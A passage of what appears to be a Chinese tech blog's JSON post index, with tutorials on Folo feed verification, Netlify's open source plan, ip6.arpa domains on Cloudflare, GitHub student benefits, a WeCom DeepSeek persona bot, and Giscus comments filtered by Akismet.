(userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.\nFuwari：\nThis message is used to verify that this feed (feedId:180993728847509504) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.\nblog.acofork.com\nThis message is used to verify that this feed (feedId:236818461447222272) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.\n2x.nz This message is used to verify that this feed (feedId:245004133358075904) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.\n我要怎么认证？ 首先 你得有一个博客，或者说一个有RSS的网站\n比如 2x.nz/rss.xml\n接下来在Folo处点击认证 https://folo.is\n会弹出一个内容，要求让你放置到RSS\n最简单的方法就是像我这样新建一篇文章，然后原封不动粘贴这段话，然后认证即可\n","permalink":"https://blog.2x.nz/posts/folo-verification/","summary":"\u003ch1 id=\"这是啥\"\u003e这是啥？\u003c/h1\u003e\n\u003cp\u003e这是一篇Folo认证文章，用于认证本RSS归属于我\u003c/p\u003e\n\u003cp\u003eZola：\u003c/p\u003e\n\u003cp\u003eThis message is used to verify that this feed (feedId:154118531036739584) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser \u003ca href=\"https://folo.is\"\u003ehttps://folo.is\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eFuwari：\u003c/p\u003e\n\u003cp\u003eThis message is used to verify that this feed (feedId:180993728847509504) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser \u003ca href=\"https://folo.is\"\u003ehttps://folo.is\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eblog.acofork.com\u003c/p\u003e\n\u003cp\u003eThis message is used to verify that this feed (feedId:236818461447222272) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser \u003ca href=\"https://folo.is\"\u003ehttps://folo.is\u003c/a\u003e.\u003c/p\u003e","title":"认证为Folo的创作者"},{"content":"正式开始 [! WARNING]\nNetlify OSS计划不受理个人博客\n确保你有一个开源项目，并且已经托管在了Netlify，Github的也有你网站的链接 前往 https://opensource-form.netlify.com/\n填写相关信息，提交。\n我是这样写的\nOpen Source Team Application Applicant Name: no name provided Applicant Email: acofork@gmail.com Project Name: afoim/fuwari Proof of Contributors: Code of Conduct URL: https://2x.nz Project License URL: MIT license Netlify Site URL: https://2x.nz/posts/static-web/#netlify Notes: 一天后收到已开通 Open Source 计划的邮件。如果没有通过也没关系，你可以直接回复这封邮件，带上你的疑问，注意使用英文\n账户也自动从 Starter 升级到了 Open Source 计划\n","permalink":"https://blog.2x.nz/posts/netlify-oss/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[! WARNING]\u003c/p\u003e\n\u003cp\u003eNetlify OSS计划不受理个人博客\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e确保你有一个开源项目，并且已经托管在了Netlify，Github的也有你网站的链接\n\u003cimg loading=\"lazy\" src=\"/posts/netlify-oss/img/2025-08-09-12-30-32-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://opensource-form.netlify.com/\"\u003ehttps://opensource-form.netlify.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e填写相关信息，提交。\u003c/p\u003e\n\u003cp\u003e我是这样写的\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOpen Source Team Application\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eApplicant Name: no name provided\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eApplicant Email: acofork@gmail.com\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eProject Name: afoim/fuwari\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eProof of Contributors:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCode of Conduct URL: https://2x.nz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eProject License URL: MIT license\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNetlify Site URL: https://2x.nz/posts/static-web/#netlify\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNotes:\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/netlify-oss/img/2025-08-09-05-17-05-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e一天后收到已开通 \u003ccode\u003eOpen Source\u003c/code\u003e 计划的邮件。如果没有通过也没关系，你可以直接回复这封邮件，带上你的疑问，注意使用英文\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/netlify-oss/img/2025-08-09-05-17-36-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e账户也自动从 \u003ccode\u003eStarter\u003c/code\u003e 升级到了 \u003ccode\u003eOpen Source\u003c/code\u003e 计划\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/netlify-oss/img/2025-08-09-05-18-12-image.webp\"\u003e\u003c/p\u003e","title":"有自己的开源项目？来申请Netlify的Open Source计划！"},{"content":"这是什么 以下内容来自GPT-5\n这是一个 IPv6 反向解析（Reverse DNS）域名，遵循 ip6.arpa 格式。\n它是把 IPv6 地址每个十六进制数字倒序排列，加上 .ip6.arpa 后缀，用于 DNS 反查时将域名解析回原 IPv6 地址。\n将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手 视频教程： https://www.bilibili.com/video/BV1q8tBzsEPi/\n前往 Hurricane Electric Free IPv6 Tunnel Broker\n注册一个账号（需要用域名邮箱）\n创建隧道。需要一台启用了ICMP信令的VPS\n填上IP后，TunnelBroker会向其发送Ping请求\n如果TunnelBroker收到了回应，并且该IP没有被其他隧道绑定，就会弹出绿色，可绑定的标志\n如果该IP曾被绑定，则需要进行HTTP验证\n进入这个页面，查看TunnelBroker为你分配的路由IPv6\n以 2001:470:24:386::/64 为例\n首先加0，每项4位，通过 : 分割，则为 2001047000240386\n然后倒过来，则为 6830420007401002\n最后，加上 . 和 .ip6.arpa ，则为 6.8.3.0.4.2.0.0.0.7.4.0.1.0.0.2.ip6.arpa\n将其添加到Cloudflare\n查看Cloudflare要求你设置的NS服务器\n回到TunnelBroker进行设置\n等待域被激活即可\n为其签发SSL 默认 ipra 无法签发SSL，因为会被大部分SSL提供商拒签\n将Cloudflare SSL提供商改为 SSL.COM 可以解决这个问题\n获取必要信息，发起更改SSL提供商请求\ncurl --location --request PATCH \u0026#39;https://api.cloudflare.com/client/v4/zones/\u0026lt;zone_id\u0026gt;/ssl/universal/settings\u0026#39; --header \u0026#39;X-Auth-Email: 你的CF注册邮箱\u0026#39; --header \u0026#39;X-Auth-Key: 你的CF全局APIKey\u0026#39; --header \u0026#39;Content-Type: application/json\u0026#39; --data-raw \u0026#39;{\u0026#34;enabled\u0026#34;:true,\u0026#34;certificate_authority\u0026#34;:\u0026#34;ssl_com\u0026#34;}\u0026#39; 稍等片刻，CF会自动使用新的SSL提供商签发SSL\n局限性 本人测试，如果您自己创建SSL.COM的账户尝试签发SSL会拒签。故该域名仅能在Cloudflare CDN下使用\n","permalink":"https://blog.2x.nz/posts/ip6-arpa/","summary":"\u003ch1 id=\"这是什么\"\u003e这是什么\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e以下内容来自GPT-5\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e这是一个 \u003cstrong\u003eIPv6 反向解析（Reverse DNS）域名\u003c/strong\u003e，遵循 \u003ccode\u003eip6.arpa\u003c/code\u003e 格式。\u003cbr\u003e\n它是把 IPv6 地址每个十六进制数字倒序排列，加上 \u003ccode\u003e.ip6.arpa\u003c/code\u003e 后缀，用于 DNS 反查时将域名解析回原 IPv6 地址。\u003c/p\u003e\n\u003ch1 id=\"将-xxxxxxxxxxxxip6arpa-弄到手\"\u003e将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e视频教程： \u003ca href=\"https://www.bilibili.com/video/BV1q8tBzsEPi/\"\u003ehttps://www.bilibili.com/video/BV1q8tBzsEPi/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e前往 \u003ca href=\"https://tunnelbroker.net/\"\u003eHurricane Electric Free IPv6 Tunnel Broker\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注册一个账号（需要用域名邮箱）\u003c/p\u003e\n\u003cp\u003e创建隧道。需要一台启用了ICMP信令的VPS\u003c/p\u003e\n\u003cp\u003e填上IP后，TunnelBroker会向其发送Ping请求\u003c/p\u003e\n\u003cp\u003e如果TunnelBroker收到了回应，并且该IP没有被其他隧道绑定，就会弹出绿色，可绑定的标志\u003c/p\u003e\n\u003cp\u003e如果该IP曾被绑定，则需要进行HTTP验证\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ip6-arpa/img/2025-08-09-04-53-04-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e进入这个页面，查看TunnelBroker为你分配的路由IPv6\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ip6-arpa/img/2025-08-09-04-55-24-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e以 \u003ccode\u003e2001:470:24:386::/64\u003c/code\u003e 为例\u003c/p\u003e\n\u003cp\u003e首先加0，每项4位，通过 \u003ccode\u003e:\u003c/code\u003e 分割，则为 \u003ccode\u003e2001047000240386\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e然后倒过来，则为 \u003ccode\u003e6830420007401002\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e最后，加上 \u003ccode\u003e.\u003c/code\u003e 和 \u003ccode\u003e.ip6.arpa\u003c/code\u003e ，则为 \u003ccode\u003e6.8.3.0.4.2.0.0.0.7.4.0.1.0.0.2.ip6.arpa\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e将其添加到Cloudflare\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ip6-arpa/img/2025-08-09-04-59-05-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e查看Cloudflare要求你设置的NS服务器\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ip6-arpa/img/2025-08-09-04-59-25-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e回到TunnelBroker进行设置\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ip6-arpa/img/2025-08-09-04-59-49-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e等待域被激活即可\u003c/p\u003e\n\u003ch1 id=\"为其签发ssl\"\u003e为其签发SSL\u003c/h1\u003e\n\u003cp\u003e默认 ipra 无法签发SSL，因为会被大部分SSL提供商拒签\u003c/p\u003e\n\u003cp\u003e将Cloudflare SSL提供商改为 SSL.COM 可以解决这个问题\u003c/p\u003e\n\u003cp\u003e获取必要信息，发起更改SSL提供商请求\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl --location --request PATCH \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;https://api.cloudflare.com/client/v4/zones/\u0026lt;zone_id\u0026gt;/ssl/universal/settings\u0026#39;\u003c/span\u003e --header \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;X-Auth-Email: 你的CF注册邮箱\u0026#39;\u003c/span\u003e --header \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;X-Auth-Key: 你的CF全局APIKey\u0026#39;\u003c/span\u003e --header \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Content-Type: application/json\u0026#39;\u003c/span\u003e --data-raw \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;{\u0026#34;enabled\u0026#34;:true,\u0026#34;certificate_authority\u0026#34;:\u0026#34;ssl_com\u0026#34;}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e稍等片刻，CF会自动使用新的SSL提供商签发SSL\u003c/p\u003e","title":"IPv6反解域名是什么？嫩长一坨还能托管到Cloudflare？SSL签发也没问题？"},{"content":"Github学生认证教程 视频： https://www.bilibili.com/video/BV1kAtrzzEkG\n确保你是个学生\n并且拥有 学生证、录取通知书、毕业证 中的其中一种（我使用录取通知书）\n首先来到 Payment Information 确保是你的真实信息，并且姓名使用拼音\n如果不是，请进行更改，然后一定要重登Github！\n接下来前往 GitHub · Where software is built 推荐使用校园网或者流量\n按需选\n这里拍照注意！如果你的证件没有英文版的，请不要直接拍原件\n找个记事本手动翻译一下\n比如我的录取通知书翻译为\n然后用手机拍照即可\n不出意外，批准！\n认证疑难解答 报错什么姓名不符，确保你的Github Payment Information姓名和你提交的证明文件姓名一样，如果不一样，改完一定要注销重新登录Github才行\n报错用了VPN或者位置不对，请确保使用中国大陆网络！如果你没有校园网就用流量！\nGitHub Education 福利领取 通过学生认证后，你就可以前往 GitHub Student Developer Pack 领取各种免费福利啦！\n下面介绍一些免费的域名福利：\n免费领取一年 .tech 域名 前往 GitHub Student Developer Pack - GitHub Education\n一直往下滚，直到找到 .tech 字样的项目，点击蓝色链接进入\n输入域名，然后添加到购物车\n点击结账\n在这里登录Github账户（我已经免费拿一个了所以拿不了噜~）\n不出意外你的Total应该是0，点击就购买成功！\n接下来来到 https://controlpanel.tech/\n登录你的账户\n输入你的域名并跳转到控制台\n改NS到Cloudflare~\n当当当当~\n激活咯~\n免费领取一年 .me 域名 前往 GitHub 学生开发者包 - GitHub Education\n往下滚直到找到这个\n点击这里\n进行Github授权\n成功验证学生资格咯~\n选一个你喜欢的 .me 域名，然后加入购物车（FREE！）\n勾上Github Page，填上你的Github邮箱\n接下来登录使用Github邮箱注册的号，没有号就注册一个！\n完成订单咯~\n在控制台将NS转到Cloudflare！\nNameCheap的NS传播似乎有些慢，等等咯~\n半小时后有咯~\n再领取两个免费一年域名 除了 .tech 和 .me 之外，还可以再领取两个免费域名！\n前往 GitHub 学生开发者包 - GitHub Education\n往下滚动 找到\n点击登录并验证你的学生身份\n短域名也有免费的！\n长域名更是不在话下！\n但是最终结账的时候只能免费两个域名哦~\n需要绑卡验证，扣0.00元。Bybit虚拟卡可用\n等待跑进度条~\n接下来老生常谈的改NS到Cloudflare\n成功激活~\n总结 通过GitHub Education学生认证，你一共可以领取：\n1个免费的 .tech 域名（一年） 1个免费的 .me 域名（一年） 2个额外的免费域名（一年） 快去领取你的福利吧！\n","permalink":"https://blog.2x.nz/posts/github-edu/","summary":"\u003ch1 id=\"github学生认证教程\"\u003eGithub学生认证教程\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e视频： \u003ca href=\"https://www.bilibili.com/video/BV1kAtrzzEkG\"\u003ehttps://www.bilibili.com/video/BV1kAtrzzEkG\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e确保你是个学生\u003c/p\u003e\n\u003cp\u003e并且拥有 \u003cstrong\u003e学生证、录取通知书、毕业证\u003c/strong\u003e 中的其中一种（我使用录取通知书）\u003c/p\u003e\n\u003cp\u003e首先来到 \u003ca href=\"https://github.com/settings/billing/payment_information\"\u003ePayment Information\u003c/a\u003e 确保是你的真实信息，并且姓名使用拼音\u003c/p\u003e\n\u003cp\u003e如果不是，请进行更改，然后\u003cstrong\u003e一定要重登Github！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-08-01-03-14-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来前往 \u003ca href=\"https://github.com/settings/education/benefits\"\u003eGitHub · Where software is built\u003c/a\u003e 推荐使用校园网或者流量\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-08-01-05-18-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e按需选\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-08-01-06-02-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e这里拍照注意！如果你的证件没有英文版的，请不要直接拍原件\u003c/p\u003e\n\u003cp\u003e找个记事本手动翻译一下\u003c/p\u003e\n\u003cp\u003e比如我的录取通知书翻译为\u003c/p\u003e\n\u003cp\u003e然后用手机拍照即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-08-01-06-56-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e不出意外，批准！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-08-01-07-22-image.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"认证疑难解答\"\u003e认证疑难解答\u003c/h2\u003e\n\u003cp\u003e报错什么姓名不符，确保你的Github Payment Information姓名和你提交的证明文件姓名一样，如果不一样，改完一定要注销重新登录Github才行\u003c/p\u003e\n\u003cp\u003e报错用了VPN或者位置不对，请确保使用中国大陆网络！如果你没有校园网就用流量！\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"github-education-福利领取\"\u003eGitHub Education 福利领取\u003c/h1\u003e\n\u003cp\u003e通过学生认证后，你就可以前往 \u003ca href=\"https://education.github.com/pack\"\u003eGitHub Student Developer Pack\u003c/a\u003e 领取各种免费福利啦！\u003c/p\u003e\n\u003cp\u003e下面介绍一些免费的域名福利：\u003c/p\u003e\n\u003ch2 id=\"免费领取一年-tech-域名\"\u003e免费领取一年 .tech 域名\u003c/h2\u003e\n\u003cp\u003e前往 \u003ca href=\"https://education.github.com/pack\"\u003eGitHub Student Developer Pack - GitHub Education\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e一直往下滚，直到找到 .tech 字样的项目，点击蓝色链接进入\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-11-21-49-27-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e输入域名，然后添加到购物车\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-11-21-50-09-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点击结账\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-11-21-50-20-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e在这里登录Github账户（我已经免费拿一个了所以拿不了噜~）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-11-21-51-05-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e不出意外你的Total应该是0，点击就购买成功！\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e接下来来到 \u003ca href=\"https://controlpanel.tech/\"\u003ehttps://controlpanel.tech/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e登录你的账户\u003c/p\u003e\n\u003cp\u003e输入你的域名并跳转到控制台\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-11-21-53-59-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e改NS到Cloudflare~\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/github-edu/img/2025-08-11-21-54-26-image.webp\"\u003e\u003c/p\u003e","title":"Github学生认证 + GitHub Education福利大全"},{"content":"正式开始 非常简单，首先你要有一个企业微信号\n然后前往 工作台 往下拉找到 智能机器人\n接下来就可以创建了\n在 角色设定 可以提示词注入一下\n然后你就得到了\n可以通过多种方式使用~\n","permalink":"https://blog.2x.nz/posts/qiyewx-deepseek/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e非常简单，首先你要有一个企业微信号\u003c/p\u003e\n\u003cp\u003e然后前往 \u003ccode\u003e工作台\u003c/code\u003e 往下拉找到 \u003ccode\u003e智能机器人\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/qiyewx-deepseek/img/2025-08-07-04-12-05-e290f1322ccb6a32082cad8d44017ba4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来就可以创建了\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003e角色设定\u003c/code\u003e 可以提示词注入一下\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/qiyewx-deepseek/img/2025-08-07-04-13-32-13b847d4e4e01c1780dbf18828172ebe_720.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后你就得到了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/qiyewx-deepseek/img/2025-08-07-04-13-46-b3720dc7d5946e995cbf6df189d02677.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e可以通过多种方式使用~\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/qiyewx-deepseek/img/2025-08-07-04-14-58-d5ad87ab42f14ccbc220bf91ba5ec5d6.webp\"\u003e\u003c/p\u003e","title":"你说什么？企业微信能免费用Deepseek？！还能调成猫娘？！！"},{"content":"配置Giscus Giscus使用Github Discussion实现存储用户评论，无需自托管\n首先你需要创建一个 公开仓库 （建议新开一个干净的空仓库）\n然后在仓库设置中 启用 Discussion 功能\n前往 https://giscus.app/zh-CN\n首先填写你的仓库，通过检查\n接下来的 映射关系 十分重要！\npathname （最推荐）：假如你的文章路径为 posts/helloworld 。那么只要你保证这个路径不变，评论和页面就永远匹配\nurl：只要你换域名了，评论和页面就无法匹配\ntitle：只要你换标题了，评论和页面就无法匹配\n需要特别注意的是：建议 勾选 使用严格的标题匹配 ，避免评论串台。开启后，Giscus会根据你选择的映射关系为每一个新的Discussion（新的页面的评论区）插入一个与众不同的 sha1 指纹 。之后的页面评论区与Github Discussion的映射关系都依赖这个哈希字符串，它在每一个Discussion的正文中，以注释形式写入\n如果你弄丢了或者写错了，Giscus之后将会再创建一个同名的Discussion，并写入正确的哈希\n若旧Discussion并未删除，并想让Giscus命中一个不同的Discussion，你需要根据Giscus默认分配的页面标题（这取决于你上面勾选的映射关系，若勾选pathname，即为 posts/pin ）手动用 sha1 算法算出哈希字符串并手动写入你想要让Giscus映射的Discussion\nroot@AcoFork-NAS:~# echo -n \u0026#34;posts/pin/\u0026#34; | sha1sum 6ae1aef4a17c896d06677a8e55c23b364bb82bbb - root@AcoFork-NAS:~# 分类推荐选择 公告（announcements）\n特性按需勾选\n主题按喜好选择。更改后主题会立即呈现\n最后将这段JS复制，放置在你想作为评论区的区块即可\n配置Akismet Akismet (Automattic Kismet) 是应用广泛的一个垃圾留言过滤系统，其作者是大名鼎鼎的 WordPress 创始人 Matt Mullenweg，Akismet 也是 WordPress 默认安装的插件，其使用非常广泛，设计目标便是帮助博客网站来过滤垃圾留言。\n注册 akismet.com\n选择 Akismet Personal 订阅，将滑块拉到0$，记录得到的 Akismet API Key\n前往 https://github.com/afoim/giscus-fuwari/blob/main/.github/workflows/akismet-comment-check.yml\n将这个Github Action部署到你的启用了Giscus的仓库\n配置Secret：\nAKISMET_API_KEY：你的Akismet API Key\nGH_TOKEN：前往 https://github.com/settings/tokens 创建一个具有 repo write:discussion user 权限的Github个人令牌\n测试反垃圾是否有效，发送内容为 viagra-test-123 的评论。该评论一定会被当作垃圾评论\n查看Github Action是否做出删评行为\n封禁用户 如果有人一直刷屏但是反垃圾未检测到？\n你可以前往该用户个人信息页面手动封禁它\n详见 阻止用户访问您的个人帐户 - GitHub 文档\n防止新用户刷评 如果有人一直开小号刷评？\n使用 https://github.com/你的用户名/你的仓库/settings/interaction_limits\n配置临时交互限制，这样新用户就无法对您的存储库进行任何操作\n","permalink":"https://blog.2x.nz/posts/giscus-akismet/","summary":"\u003ch1 id=\"配置giscus\"\u003e配置Giscus\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eGiscus使用Github Discussion实现存储用户评论，无需自托管\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e首先你需要创建一个 \u003cstrong\u003e公开仓库\u003c/strong\u003e （建议新开一个干净的空仓库）\u003c/p\u003e\n\u003cp\u003e然后在仓库设置中 \u003cstrong\u003e启用\u003c/strong\u003e \u003ccode\u003eDiscussion\u003c/code\u003e 功能\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/giscus-akismet/img/2025-08-04-12-16-36-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://giscus.app/zh-CN\"\u003ehttps://giscus.app/zh-CN\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e首先填写你的仓库，通过检查\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/giscus-akismet/img/2025-08-04-12-17-42-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来的 \u003ccode\u003e映射关系\u003c/code\u003e 十分重要！\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003epathname \u003cstrong\u003e（最推荐）\u003c/strong\u003e：假如你的文章路径为 \u003ccode\u003eposts/helloworld\u003c/code\u003e 。那么只要你保证这个路径不变，评论和页面就永远匹配\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eurl：只要你换\u003cstrong\u003e域名\u003c/strong\u003e了，评论和页面就无法匹配\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003etitle：只要你换\u003cstrong\u003e标题\u003c/strong\u003e了，评论和页面就无法匹配\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/giscus-akismet/img/2025-08-04-12-18-21-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e需要特别注意的是\u003c/strong\u003e：建议 \u003cstrong\u003e勾选\u003c/strong\u003e \u003ccode\u003e使用严格的标题匹配\u003c/code\u003e ，\u003cstrong\u003e避免评论串台\u003c/strong\u003e。开启后，Giscus会根据你选择的映射关系为每一个新的Discussion（新的页面的评论区）插入一个与众不同的 \u003cem\u003esha1 指纹\u003c/em\u003e 。之后的页面评论区与Github Discussion的映射关系都依赖这个哈希字符串，它在每一个Discussion的正文中，以注释形式写入\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/giscus-akismet/img/giscus-akismet-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你弄丢了或者写错了，Giscus之后将会再创建一个同名的Discussion，并写入正确的哈希\u003c/p\u003e\n\u003cp\u003e若旧Discussion并未删除，并想让Giscus命中一个不同的Discussion，你需要根据Giscus默认分配的页面标题（这取决于你上面勾选的映射关系，若勾选pathname，即为 \u003ccode\u003eposts/pin\u003c/code\u003e ）手动用 \u003cem\u003esha1\u003c/em\u003e 算法算出哈希字符串并手动写入你想要让Giscus映射的Discussion\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#f92672\"\u003e@\u003c/span\u003eAcoFork\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNAS:\u003cspan style=\"color:#f92672\"\u003e~#\u003c/span\u003e echo \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003en \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;posts/pin/\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e sha1sum\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003eae1aef4a17c896d06677a8e55c23b364bb82bbb  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#f92672\"\u003e@\u003c/span\u003eAcoFork\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNAS:\u003cspan style=\"color:#f92672\"\u003e~#\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e分类推荐选择 \u003cstrong\u003e公告（announcements）\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" 